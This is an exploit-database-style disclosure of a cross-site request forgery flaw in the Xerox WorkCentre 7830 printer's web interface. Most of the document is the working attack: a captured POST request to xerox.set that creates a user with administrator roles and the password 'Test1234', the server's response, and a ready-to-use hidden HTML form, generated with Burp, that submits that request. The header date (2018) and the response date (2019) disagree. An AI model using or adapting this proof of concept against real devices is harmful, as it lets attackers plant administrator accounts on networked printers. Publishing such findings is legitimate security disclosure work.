Share
# Exploit Title: XEROX WorkCentre 7830 Printer - Cross-Site Request Forgery (Add Admin)  
# Date: 2018-12-19   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.xerox.com/  
# Hardware Link : https://www.office.xerox.com/en-us/multifunction-printers/workcentre-7800-series  
# Software : Xerox Printer  
# Product Version: WorkCentre® 7830  
# Vulernability Type : Cross-Site Request Forgery (Add Admin)  
# Vulenrability : Cross-Site Request Forgery  
# CVE : N/A  
  
# Description :  
# The CSRF vulnerability was discovered in the WorkCentre® 7830 printer model of Xerox printer hardware.  
# A request to add users is made in the Device User Database form field. This request is captured by  
# the proxy. And a CSRF PoC HTML file is prepared. WorkCentre® 7830 printers allow CSRF. A request  
# to add users is made in the Device User Database form field to the xerox.set URI.   
# (The frmUserName value must have a unique name.)  
  
HTTP POST Request :  
  
POST /dummypost/xerox.set HTTP/1.1  
Host: server  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 494  
Origin: http://server  
Connection: close  
Referer: http://server/properties/authentication/UserEdit.php?x=&isRoles=True&isPassword=True&isCreate=True&crumb1=UserManager%3Fx%3D%26sort%3DFname%26order%3DUp  
Cookie: PageToShow=; statusSelected=n1; statusNumNodes=8; PHPSESSID=6524448254c9d6d6de52fe4a1085b994; WebTimerPopupID=5; propSelected=n30; propNumNodes=115; propHierarchy=00010000000000000000000000; LastPage=/properties/authentication/UserEdit.php%3F%26isRoles%3DTrue%26isPassword%3DTrue%26isCreate%3DTrue  
Upgrade-Insecure-Requests: 1  
  
CSRFToken=078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708&_fun_function=HTTP_Set_ccgen_fac_dispatch_fn&NextPage=%2Fproperties%2Fauthentication%2FUserManager.php%3Fx%3D%26sort%3DFname%26order%3DUp&CcgenModule=UserEdit&isRoles=True&isPassword=True&isCreate=True&rolesStr=2%2C5%2C1%2C&limited=False&oid=0&userName=ismailtasdelen&friendlyName=Ismail+Tasdelen&newPassword=Test1234&retypePassword=Test1234&role=2&role=1  
  
HTTP Response :  
  
HTTP/1.1 200 OK  
Date: Thu, 19 Dec 2019 05:34:36 GMT  
Server: Apache  
Connection: close  
Content-Type: text/html  
Content-Length: 15022  
  
CSRF HTML PoC :  
  
<html>  
<!-- CSRF PoC - generated by Burp Suite Professional -->  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://server/dummypost/xerox.set" method="POST">  
<input type="hidden" name="CSRFToken" value="078992ef7d70f5868c7bb9e99d5ed4c3a388351c1951bc033b392703df1e7121d1a4c0161b987721fdb8c4ee0cfda6e0be172a51d018c10ebf4b4f554b9d2708" />  
<input type="hidden" name="_fun_function" value="HTTP_Set_ccgen_fac_dispatch_fn" />  
<input type="hidden" name="NextPage" value="/properties/authentication/UserManager.php?x=&sort=Fname&order=Up" />  
<input type="hidden" name="CcgenModule" value="UserEdit" />  
<input type="hidden" name="isRoles" value="True" />  
<input type="hidden" name="isPassword" value="True" />  
<input type="hidden" name="isCreate" value="True" />  
<input type="hidden" name="rolesStr" value="2,5,1," />  
<input type="hidden" name="limited" value="False" />  
<input type="hidden" name="oid" value="0" />  
<input type="hidden" name="userName" value="ismailtasdelen" />  
<input type="hidden" name="friendlyName" value="Ismail Tasdelen" />  
<input type="hidden" name="newPassword" value="Test1234" />  
<input type="hidden" name="retypePassword" value="Test1234" />  
<input type="hidden" name="role" value="2" />  
<input type="hidden" name="role" value="1" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>